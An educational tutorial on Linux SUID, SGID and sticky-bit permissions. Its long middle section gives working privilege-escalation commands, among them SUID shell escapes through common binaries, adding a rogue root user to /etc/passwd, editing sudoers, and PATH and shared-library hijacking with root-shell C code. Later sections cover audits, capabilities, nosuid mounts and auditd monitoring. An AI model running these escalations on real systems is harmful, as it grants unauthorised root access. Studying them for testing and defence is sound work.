SUID, SGID, and Sticky Bit
Introduction
SUID (Set User ID), SGID (Set Group ID), and the Sticky Bit are special file permissions in Unix and Linux systems that modify the default behavior of executable files and directories. These permission bits provide powerful functionality for system administration but can also introduce significant security risks when misconfigured.
Understanding these special permissions is crucial for:
- Penetration Testers: Identifying privilege escalation vectors through SUID/SGID binaries
- System Administrators: Managing legitimate system functionality while maintaining security
- Security Auditors: Assessing systems for permission-based vulnerabilities
- Linux Users: Understanding advanced file permission concepts
This lesson provides comprehensive coverage of SUID, SGID, and sticky bit mechanics, legitimate uses, security implications, exploitation techniques, and defensive best practices.
Understanding Special Permissions
Standard Linux Permissions Review
Before diving into special permissions, let's review standard Linux file permissions:
# Permission structure: rwxrwxrwx
# Position: UUU GGG OOO
# U = User (owner)
# G = Group
# O = Others
# Example:
ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
# Owner (root): read, write, execute
# Group (root): read, execute
# Others: read, execute
Permission Bits:
- r (read): View file contents or list directory contents
- w (write): Modify file or create/delete files in directory
- x (execute): Run file as program or access directory
Numeric Representation:
r = 4
w = 2
x = 1
Examples:
rwx = 7 (4+2+1)
rw- = 6 (4+2)
r-x = 5 (4+1)
r-- = 4
Special Permission Bits
Special permissions add three additional bits:
SUID (Set User ID) - Bit value: 4:
- When set on an executable, the program runs with the permissions of the file owner (not the user executing it)
- Represented by 's' in the owner's execute position
- Only meaningful for executable files
SGID (Set Group ID) - Bit value: 2:
- On executables: Program runs with permissions of the file's group
- On directories: New files inherit the directory's group (not creator's default group)
- Represented by 's' in the group's execute position
Sticky Bit - Bit value: 1:
- Meaningful only on directories
- Prevents users from deleting files they don't own (even with write access to directory)
- Represented by 't' in the others' execute position
- Commonly used on
/tmp
Numeric Representation:
SUID = 4000
SGID = 2000
Sticky = 1000
Examples:
4755 = SUID + rwxr-xr-x
2755 = SGID + rwxr-xr-x
1777 = Sticky + rwxrwxrwx
6755 = SUID + SGID + rwxr-xr-x
SUID (Set User ID)
How SUID Works
When a file with SUID is executed, the process runs with the effective user ID of the file owner, not the user who executed it.
Visual Representation:
# File without SUID
ls -l /bin/ls
-rwxr-xr-x 1 root root 133792 Jan 18 2021 /bin/ls
# When user 'john' runs ls:
# Effective UID: john
# Process runs with john's permissions
# File with SUID
ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Jul 14 2021 /usr/bin/passwd
# ^
# SUID bit (s instead of x)
# When user 'john' runs passwd:
# Effective UID: root (owner of the file)
# Process runs with root's permissions
Legitimate Uses of SUID
passwd Command:
ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Jul 14 2021 /usr/bin/passwd
# Why SUID is needed:
# - Users must change their own passwords
# - Password hashes stored in /etc/shadow (only root can write)
# - passwd needs root privileges to modify /etc/shadow
ping Command:
ls -l /bin/ping
-rwsr-xr-x 1 root root 72776 Jan 30 2020 /bin/ping
# Why SUID is needed:
# - ping requires creating raw ICMP sockets
# - Raw sockets require root/CAP_NET_RAW capability
# - Allows regular users to ping without sudo
sudo Command:
ls -l /usr/bin/sudo
-rwsr-xr-x 1 root root 166056 Jan 19 2021 /usr/bin/sudo
# Why SUID is needed:
# - sudo switches user context
# - Requires root privileges to change effective UID
# - Allows authorized users to execute commands as other users
su Command:
ls -l /bin/su
-rwsr-xr-x 1 root root 67816 Jul 21 2020 /bin/su
# Why SUID is needed:
# - Switches to another user account
# - Requires root privileges to change UID
Security Implications of SUID
Risk: If a SUID binary owned by root has vulnerabilities, it can be exploited for privilege escalation.
Attack Surface:
- Buffer overflows
- Command injection
- Path traversal
- Library hijacking
- Symbolic link attacks
- Race conditions
Finding SUID Files
Find All SUID Files:
# Basic search
find / -perm -u=s -type f 2>/dev/null
# Alternative notation
find / -perm -4000 -type f 2>/dev/null
# More detailed output
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
# Save to file for analysis
find / -perm -4000 -type f 2>/dev/null > suid_files.txt
# Find SUID files owned by root
find / -user root -perm -4000 -type f 2>/dev/null
# Find recently modified SUID files (potential backdoors)
find / -perm -4000 -type f -mtime -7 2>/dev/null
Common Legitimate SUID Binaries:
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/su
/bin/ping
/bin/mount
/bin/umount
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Setting and Removing SUID
Setting SUID:
# Numeric method (4 prefix)
chmod 4755 /path/to/file
# Symbolic method
chmod u+s /path/to/file
# Example: Create SUID shell (for testing)
cp /bin/bash /tmp/bash
chmod 4755 /tmp/bash
ls -l /tmp/bash
# -rwsr-xr-x 1 root root 1183448 Oct 1 10:00 /tmp/bash
Removing SUID:
# Numeric method
chmod 0755 /path/to/file
# Symbolic method
chmod u-s /path/to/file
# Remove all special bits
chmod 755 /path/to/file
Uppercase S vs Lowercase s:
# Lowercase 's' - Execute permission is set
-rwsr-xr-x # SUID + owner execute
# Uppercase 'S' - Execute permission NOT set (misconfiguration)
-rwSr--r-- # SUID without owner execute (ineffective)
Exploiting SUID Binaries
GTFOBins (https://gtfobins.github.io/) is the definitive resource for exploiting SUID binaries.
SUID Bash/Shell
# Find SUID bash
find / -name bash -perm -4000 2>/dev/null
# Exploit (-p flag preserves effective UID)
/path/to/suid/bash -p
# Verify
whoami
# root
id
# uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
# Note: Modern bash drops privileges if real UID != effective UID
# Unless invoked with -p flag
SUID Python
# Find SUID python
find / -name python* -perm -4000 2>/dev/null
# Exploit - Method 1: Spawn shell
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# Method 2: Set UID and spawn shell
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Method 3: Execute command as root
python -c 'import os; os.setuid(0); os.system("whoami")'
SUID Perl
# Find SUID perl
find / -name perl* -perm -4000 2>/dev/null
# Exploit - Method 1
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# Method 2
perl -e 'exec "/bin/sh";'
SUID PHP
# Find SUID PHP
find / -name php* -perm -4000 2>/dev/null
# Exploit
php -r "pcntl_exec('/bin/sh', ['-p']);"
SUID vim/vi
# Find SUID vim
find / -name vim* -perm -4000 2>/dev/null
# Exploit - Method 1: Command execution
vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
# Method 2: Shell from within vim
vim -c ':!/bin/sh -p'
# Method 3: Open vim, then:
:set shell=/bin/sh
:shell
SUID find
# Find SUID find
find / -name find -perm -4000 2>/dev/null
# Exploit - Execute command
find . -exec /bin/sh -p \; -quit
# Or
find . -exec whoami \;
SUID less/more
# Find SUID less
find / -name less -perm -4000 2>/dev/null
# Exploit less
less /etc/passwd
# Press 'v' to open in editor, then:
:!/bin/sh -p
# Exploit more
more /etc/passwd
!/bin/sh -p
SUID awk
# Find SUID awk
find / -name awk -perm -4000 2>/dev/null
# Exploit
awk 'BEGIN {system("/bin/sh -p")}'
SUID man
# Find SUID man
find / -name man -perm -4000 2>/dev/null
# Exploit (man uses less as pager by default)
man man
# Then press '!' and execute:
!/bin/sh -p
SUID nmap (Older Versions)
# Nmap versions 2.02-5.21 had --interactive mode
nmap --interactive
nmap> !sh -p
SUID git
# Find SUID git
find / -name git -perm -4000 2>/dev/null
# Exploit - Method 1: help pages (uses less)
git -p help
!/bin/sh -p
# Method 2: Pre-commit hook
PAGER='sh -c "exec sh -p 0<&1"' git -p help
SUID systemctl
# Find SUID systemctl
find / -name systemctl -perm -4000 2>/dev/null
# Exploit - Create malicious service
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
systemctl link $TF
systemctl enable --now $TF
# Then use SUID bash
/bin/bash -p
SUID cp (Copy)
# Find SUID cp
find / -name cp -perm -4000 2>/dev/null
# Exploit - Overwrite /etc/passwd
# Generate password hash
openssl passwd -1 -salt salt password123
# $1$salt$qJH7.N4xYta3aEG/dfqo/0
# Create malicious passwd file
cat /etc/passwd > /tmp/passwd
echo 'hacker:$1$salt$qJH7.N4xYta3aEG/dfqo/0:0:0:root:/root:/bin/bash' >> /tmp/passwd
# Overwrite original
cp /tmp/passwd /etc/passwd
# Switch to new root user
su hacker
# Password: password123
SUID nano
# Find SUID nano
find / -name nano -perm -4000 2>/dev/null
# Exploit - Read sensitive files
nano /etc/shadow
# Or write to sensitive files
nano /etc/sudoers
# Add: user ALL=(ALL) NOPASSWD: ALL
# Or execute commands (Ctrl+R, Ctrl+X)
# Press Ctrl+R then Ctrl+X
# Command to execute: reset; sh 1>&0 2>&0
SUID tar
# Find SUID tar
find / -name tar -perm -4000 2>/dev/null
# Exploit - Method 1: Checkpoint action
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# Method 2: Extract with setuid
echo 'chmod +s /bin/bash' > shell.sh
tar -cf archive.tar shell.sh
tar -xf archive.tar --to-command=/bin/sh
SUID zip/unzip
# Find SUID zip
find / -name zip -perm -4000 2>/dev/null
# Exploit zip
TF=$(mktemp -u)
zip $TF /etc/hosts -T -TT 'sh #'
# Exploit unzip
sudo unzip -K shell.zip
Custom SUID Binary Exploitation
When encountering unknown SUID binaries:
Step 1: Gather Information:
# Check file type
file /path/to/suid-binary
# View strings
strings /path/to/suid-binary
# Check shared libraries
ldd /path/to/suid-binary
# Run with strace
strace /path/to/suid-binary 2>&1
# Check ltrace for library calls
ltrace /path/to/suid-binary 2>&1
Step 2: Look for Vulnerabilities:
Relative Path Exploitation:
# If binary uses relative paths (e.g., "service" instead of "/usr/sbin/service")
strings /path/to/suid-binary | grep -v "^/"
# Create malicious binary
echo '/bin/sh -p' > /tmp/service
chmod +x /tmp/service
# Hijack PATH
export PATH=/tmp:$PATH
# Execute SUID binary
/path/to/suid-binary
Shared Library Hijacking:
# Check for missing libraries or custom load paths
ldd /path/to/suid-binary
# If binary uses non-standard library paths:
# Create malicious library
cat > /tmp/libexample.c << EOF
#include <stdio.h>
#include <stdlib.h>
void init() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
# Compile
gcc -shared -fPIC -o /tmp/libexample.so /tmp/libexample.c -nostartfiles
# Use LD_PRELOAD or LD_LIBRARY_PATH
LD_PRELOAD=/tmp/libexample.so /path/to/suid-binary
Command Injection:
# If binary accepts user input and passes it to system commands
# Test with command separators
/path/to/suid-binary "normal input"
/path/to/suid-binary "normal; whoami"
/path/to/suid-binary "normal && whoami"
/path/to/suid-binary "normal | whoami"
/path/to/suid-binary "normal `whoami`"
/path/to/suid-binary "normal $(whoami)"
Buffer Overflow:
# Test with long inputs
python -c 'print "A"*1000' | /path/to/suid-binary
# If crashes, potential buffer overflow
# Requires exploitation skills (shellcode, ROP, etc.)
SGID (Set Group ID)
How SGID Works
On Executable Files:
- Process runs with the effective group ID of the file's group
- Similar to SUID but for group permissions
On Directories:
- New files/subdirectories inherit the directory's group
- Facilitates group collaboration
SGID on Executables
Visual Representation:
# File with SGID
ls -l /usr/bin/wall
-rwxr-sr-x 1 root tty 19160 Nov 14 2020 /usr/bin/wall
# ^
# SGID bit (s in group execute position)
# When user 'john' (not in tty group) runs wall:
# Effective GID: tty (group owner of file)
# Can write to tty devices owned by tty group
Legitimate Uses:
# wall command (write to all terminals)
ls -l /usr/bin/wall
-rwxr-sr-x 1 root tty 19160 Nov 14 2020 /usr/bin/wall
# write command (write to specific user's terminal)
ls -l /usr/bin/write
-rwxr-sr-x 1 root tty 14312 Nov 14 2020 /usr/bin/write
# crontab (access cron directories)
ls -l /usr/bin/crontab
-rwxr-sr-x 1 root crontab 39352 Nov 16 2017 /usr/bin/crontab
SGID on Directories
Behavior:
# Without SGID
mkdir /tmp/project
ls -ld /tmp/project
drwxr-xr-x 2 alice developers 4096 Oct 1 10:00 /tmp/project
# Create file as bob (member of 'staff' group)
su - bob
touch /tmp/project/file1.txt
ls -l /tmp/project/file1.txt
-rw-r--r-- 1 bob staff 0 Oct 1 10:01 file1.txt
# File group is bob's primary group (staff)
# With SGID
mkdir /tmp/shared
chmod 2775 /tmp/shared
chgrp developers /tmp/shared
ls -ld /tmp/shared
drwxrwsr-x 2 alice developers 4096 Oct 1 10:02 /tmp/shared
# ^
# SGID bit
# Create file as bob
su - bob
touch /tmp/shared/file2.txt
ls -l /tmp/shared/file2.txt
-rw-r--r-- 1 bob developers 0 Oct 1 10:03 file2.txt
# File group is directory's group (developers), NOT bob's primary group
Use Case - Team Collaboration:
# Create shared project directory
mkdir /projects/team-alpha
chgrp team-alpha /projects/team-alpha
chmod 2775 /projects/team-alpha
# Now all files created by team members inherit team-alpha group
# All team members can read/write files regardless of who created them
Finding SGID Files
# Find all SGID files
find / -perm -g=s -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# Find SGID directories
find / -perm -g=s -type d 2>/dev/null
# Find SGID files owned by specific group
find / -group shadow -perm -2000 -type f 2>/dev/null
Setting and Removing SGID
On Files:
# Numeric method
chmod 2755 /path/to/file
# Symbolic method
chmod g+s /path/to/file
# Remove SGID
chmod g-s /path/to/file
On Directories:
# Set SGID on directory
chmod 2775 /path/to/directory
# Or
chmod g+s /path/to/directory
# Verify
ls -ld /path/to/directory
drwxrwsr-x 2 owner group 4096 Oct 1 10:00 /path/to/directory
Exploiting SGID Binaries
SGID exploitation is similar to SUID but provides group privileges:
Example - SGID Shadow Group:
# Find SGID binaries with shadow group
find / -group shadow -perm -2000 -type f 2>/dev/null
# If exists (less common in modern systems):
# Could potentially read /etc/shadow
# Example exploitation
/path/to/sgid-shadow-binary
# Might allow reading password hashes
SGID Binaries on GTFOBins:
Most SUID exploits work with SGID, just providing group-level access instead of user-level:
# SGID python (group shadow)
find / -name python* -perm -2000 -group shadow 2>/dev/null
# Exploit to read files readable by shadow group
python -c 'print(open("/etc/shadow").read())'
Sticky Bit
How Sticky Bit Works
The sticky bit is meaningful only on directories:
Behavior:
- Users can only delete/rename files they own
- Applies even if users have write permission to the directory
- Root can delete any file regardless of sticky bit
Without Sticky Bit:
mkdir /tmp/test-dir
chmod 777 /tmp/test-dir
ls -ld /tmp/test-dir
drwxrwxrwx 2 root root 4096 Oct 1 10:00 /tmp/test-dir
# User alice creates file
su - alice
touch /tmp/test-dir/alice-file.txt
# User bob can delete alice's file (directory is writable)
su - bob
rm /tmp/test-dir/alice-file.txt
# Success - file deleted!
With Sticky Bit:
mkdir /tmp/test-sticky
chmod 1777 /tmp/test-sticky
ls -ld /tmp/test-sticky
drwxrwxrwt 2 root root 4096 Oct 1 10:00 /tmp/test-sticky
# ^
# Sticky bit
# User alice creates file
su - alice
touch /tmp/test-sticky/alice-file.txt
# User bob tries to delete alice's file
su - bob
rm /tmp/test-sticky/alice-file.txt
# rm: cannot remove 'alice-file.txt': Operation not permitted
# Bob can still create/delete his own files
touch /tmp/test-sticky/bob-file.txt
rm /tmp/test-sticky/bob-file.txt
# Success
Legitimate Uses
The /tmp Directory:
ls -ld /tmp
drwxrwxrwt 20 root root 4096 Oct 1 09:00 /tmp
# Why sticky bit on /tmp:
# - All users can create temporary files
# - Users cannot delete each other's files
# - Prevents malicious users from deleting others' temp files
Shared Upload Directory:
# Web application upload directory
mkdir /var/www/uploads
chown www-data:www-data /var/www/uploads
chmod 1777 /var/www/uploads
# Multiple users/processes can upload
# But cannot delete each other's uploads
Finding Directories with Sticky Bit
# Find all directories with sticky bit
find / -perm -1000 -type d 2>/dev/null
# Common results:
# /tmp
# /var/tmp
# /dev/shm
Setting and Removing Sticky Bit
# Set sticky bit - Numeric method
chmod 1777 /path/to/directory
# Set sticky bit - Symbolic method
chmod +t /path/to/directory
# Remove sticky bit
chmod -t /path/to/directory
# Verify
ls -ld /path/to/directory
drwxrwxrwt 2 owner group 4096 Oct 1 10:00 /path/to/directory
# ^
# 't' indicates sticky bit + execute for others
Uppercase T vs Lowercase t:
# Lowercase 't' - Execute permission for others is SET
drwxrwxrwt # Sticky + others can execute/access
# Uppercase 'T' - Execute permission for others NOT set
drwxrwxrwT # Sticky but others cannot access (unusual)
Security Implications
Low Direct Security Impact:
- Sticky bit primarily prevents denial-of-service
- Doesn't directly lead to privilege escalation
- But missing sticky bit on /tmp can enable certain attacks
Symlink Attacks Without Sticky Bit:
# Scenario: /tmp without sticky bit
# Root script does: rm -rf /tmp/tempfile
# Attacker creates symlink
ln -s /etc/passwd /tmp/tempfile
# When root script runs:
rm -rf /tmp/tempfile
# Deletes /etc/passwd instead!
# Sticky bit prevents this:
# Attacker cannot delete/replace files they don't own
Practical Exploitation Scenarios
Scenario 1: SUID Find Binary
Environment:
- Linux system with SUID find binary
- Current user:
www-data(web shell) - Goal: Escalate to root
Enumeration:
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Results include:
/usr/bin/find
Verification:
ls -l /usr/bin/find
-rwsr-xr-x 1 root root 233K Apr 18 2021 /usr/bin/find
# Owned by root with SUID bit - exploitable!
Exploitation:
# Execute shell using find
find . -exec /bin/sh -p \; -quit
# Verify root access
whoami
# root
id
# uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
Scenario 2: SUID Python Script
Environment:
- Custom Python script with SUID
- Script performs system administration tasks
- Goal: Exploit to gain root shell
Discovery:
# Find SUID Python files
find / -name "*.py" -perm -4000 2>/dev/null
# /opt/scripts/admin.py
ls -l /opt/scripts/admin.py
-rwsr-xr-x 1 root root 247 Oct 1 09:00 /opt/scripts/admin.py
Analysis:
# View script contents
cat /opt/scripts/admin.py
#!/usr/bin/python
import os
import sys
def backup():
os.system("tar czf /backups/backup.tar.gz /data")
if __name__ == "__main__":
if len(sys.argv) > 1:
if sys.argv[1] == "backup":
backup()
Exploitation - Method 1: Python Import Hijacking:
# Create malicious module in local directory
cat > os.py << EOF
import pty
pty.spawn("/bin/sh")
EOF
# Run from directory with malicious os.py
/opt/scripts/admin.py backup
# Root shell spawned!
Exploitation - Method 2: Direct Python Execution:
# If can modify script or script imports custom modules
# Even better - use Python's -c flag if script allows
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
Scenario 3: PATH Hijacking
Environment:
- SUID binary using relative paths
- Goal: Hijack PATH to execute malicious code
Discovery:
# Find unusual SUID binary
find / -perm -4000 -type f 2>/dev/null | grep -v "^/usr/bin\|^/bin"
# /usr/local/bin/backupscript
ls -l /usr/local/bin/backupscript
-rwsr-xr-x 1 root root 8.2K Oct 1 09:00 /usr/local/bin/backupscript
Analysis:
# Check for relative paths
strings /usr/local/bin/backupscript | grep -v "^/"
# tar
# gzip
# service
# Binary uses relative paths!
Exploitation:
# Create malicious 'tar' command
echo '#!/bin/bash' > /tmp/tar
echo 'chmod +s /bin/bash' >> /tmp/tar
chmod +x /tmp/tar
# Or spawn shell directly
echo '#!/bin/bash' > /tmp/service
echo '/bin/sh -p' >> /tmp/service
chmod +x /tmp/service
# Hijack PATH
export PATH=/tmp:$PATH
# Execute SUID binary
/usr/local/bin/backupscript
# Check for SUID bash
ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Jun 18 2020 /bin/bash
# Use SUID bash
/bin/bash -p
whoami
# root
Scenario 4: Shared Library Hijacking
Environment:
- SUID binary using custom shared library
- Library load path is hijackable
- Goal: Replace library with malicious version
Discovery:
# Find SUID binary
find / -perm -4000 2>/dev/null | grep custom
# /opt/app/custom-tool
# Check shared libraries
ldd /opt/app/custom-tool
# linux-vdso.so.1 => (0x00007ffd)
# libcustom.so => /opt/app/lib/libcustom.so (0x00007f8f)
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8e)
Check Library Path:
# Check if LD_LIBRARY_PATH is honored (rare with SUID)
# Or check if library directory is writable
ls -ld /opt/app/lib
drwxrwxrwx 2 root root 4096 Oct 1 09:00 /opt/app/lib
# Writable!
Exploitation:
# Create malicious library
cat > /tmp/libcustom.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void init() __attribute__((constructor));
void init() {
setuid(0);
setgid(0);
system("/bin/sh -p");
}
EOF
# Compile
gcc -shared -fPIC -o libcustom.so /tmp/libcustom.c
# Replace original library
cp libcustom.so /opt/app/lib/libcustom.so
# Execute SUID binary
/opt/app/custom-tool
# Root shell spawned!
Defense and Mitigation
Auditing SUID/SGID Files
Regular Audits:
# Create baseline of SUID/SGID files
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null > suid_baseline.txt
# Periodic comparison
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null > suid_current.txt
diff suid_baseline.txt suid_current.txt
# Alert on new SUID/SGID files
Automated Monitoring:
# Create daily cron job
cat > /etc/cron.daily/suid-check << 'EOF'
#!/bin/bash
BASELINE="/var/lib/suid_baseline.txt"
CURRENT="/tmp/suid_current.txt"
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null > "$CURRENT"
if [ -f "$BASELINE" ]; then
diff "$BASELINE" "$CURRENT" | mail -s "SUID/SGID Changes Detected" [email protected]
fi
cp "$CURRENT" "$BASELINE"
EOF
chmod +x /etc/cron.daily/suid-check
Removing Unnecessary SUID/SGID
Principle of Least Privilege:
# Identify unnecessary SUID binaries
# Examples that might not be needed:
# Remove SUID from ping if users don't need it
chmod u-s /bin/ping
# Remove SUID from compilers (prevents local exploit compilation)
chmod u-s /usr/bin/gcc
chmod u-s /usr/bin/g++
# Audit custom SUID binaries
find /opt -perm -4000 2>/dev/null
find /usr/local -perm -4000 2>/dev/null
Using Capabilities Instead of SUID
Linux capabilities split root privileges into distinct units:
# Instead of SUID on ping:
# Remove SUID
chmod u-s /bin/ping
# Add CAP_NET_RAW capability
setcap cap_net_raw+ep /bin/ping
# Verify
getcap /bin/ping
# /bin/ping = cap_net_raw+ep
# Now ping works without SUID
ls -l /bin/ping
-rwxr-xr-x 1 root root 72776 Jan 30 2020 /bin/ping
# No 's' bit, but still works for users
Benefits:
- More granular permissions
- Reduces attack surface
- Easier to audit
File System Mount Options
nosuid Mount Option:
Prevents SUID/SGID execution on mounted filesystem:
# Mount with nosuid
mount -o nosuid /dev/sdb1 /mnt/data
# Add to /etc/fstab
echo '/dev/sdb1 /mnt/data ext4 defaults,nosuid 0 2' >> /etc/fstab
# Recommend for:
# - /tmp (if not required)
# - /home (usually safe)
# - Removable media
# - Network shares
Example /etc/fstab:
# Secure partition mounting
/dev/sda1 / ext4 defaults 0 1
/dev/sda2 /home ext4 defaults,nosuid,nodev 0 2
/dev/sda3 /tmp ext4 defaults,nosuid,nodev,noexec 0 2
/dev/sda4 /var/tmp ext4 defaults,nosuid,nodev,noexec 0 2
Application Security
Secure Coding Practices:
// Bad - Vulnerable to command injection
#include <stdlib.h>
void backup(char *filename) {
char cmd[256];
sprintf(cmd, "tar czf backup.tar.gz %s", filename);
system(cmd); // Vulnerable!
}
// Good - Use execve with explicit arguments
#include <unistd.h>
void backup_secure(char *filename) {
char *args[] = {"tar", "czf", "backup.tar.gz", filename, NULL};
execve("/bin/tar", args, NULL);
}
Avoid Relative Paths:
// Bad
system("service restart");
// Good
system("/usr/sbin/service restart");
Drop Privileges When Possible:
#include <unistd.h>
#include <sys/types.h>
int main() {
// Do privileged operations
// ...
// Drop privileges
setuid(getuid());
setgid(getgid());
// Continue with non-privileged operations
return 0;
}
Monitoring and Detection
Using Auditd:
# Install auditd
apt install auditd
# Monitor SUID execution
auditctl -a always,exit -F arch=b64 -S execve -F euid=0 -F auid>=1000 -k suid_execution
# Monitor file permission changes
auditctl -w /usr/bin/ -p wa -k binary_changes
auditctl -w /usr/local/bin/ -p wa -k binary_changes
# View audit logs
ausearch -k suid_execution
ausearch -k binary_changes
Summary
SUID, SGID, and Sticky Bit are powerful special permissions that:
Provide Legitimate Functionality:
- SUID: Allows programs to run with owner privileges (passwd, sudo)
- SGID: Enables programs to run with group privileges, directories to share group ownership
- Sticky Bit: Protects files in shared directories from deletion by non-owners
Introduce Security Risks:
- SUID/SGID binaries with vulnerabilities enable privilege escalation
- Improperly secured custom SUID binaries create attack vectors
- PATH and library hijacking exploit trust in SUID execution
Require Careful Management:
- Regular audits to identify unauthorized SUID/SGID files
- Principle of least privilege - remove unnecessary special permissions
- Use Linux capabilities instead of SUID when possible
- Implement nosuid mount option on appropriate filesystems
- Monitor for suspicious SUID execution patterns
Key Takeaways:
- Always enumerate SUID/SGID files during security assessments
- Use GTFOBins as reference for exploiting common binaries
- Understand PATH and library hijacking techniques
- Implement defense-in-depth with auditing, monitoring, and hardening
- Balance functionality needs with security requirements
Mastering these special permissions is essential for both offensive security operations and defensive system hardening.
Resources
- GTFOBins: https://gtfobins.github.io/ (SUID/SGID exploitation reference)
- Linux Manual Pages:
man chmod,man setuid,man capabilities - Linux Capabilities:
man 7 capabilities - PayloadsAllTheThings - SUID: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md#suid
- HackTricks - SUID: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#suid
- File Permissions: https://www.redhat.com/sysadmin/suid-sgid-sticky-bit
- Linux Security Module (LSM): https://www.kernel.org/doc/html/latest/admin-guide/LSM/index.html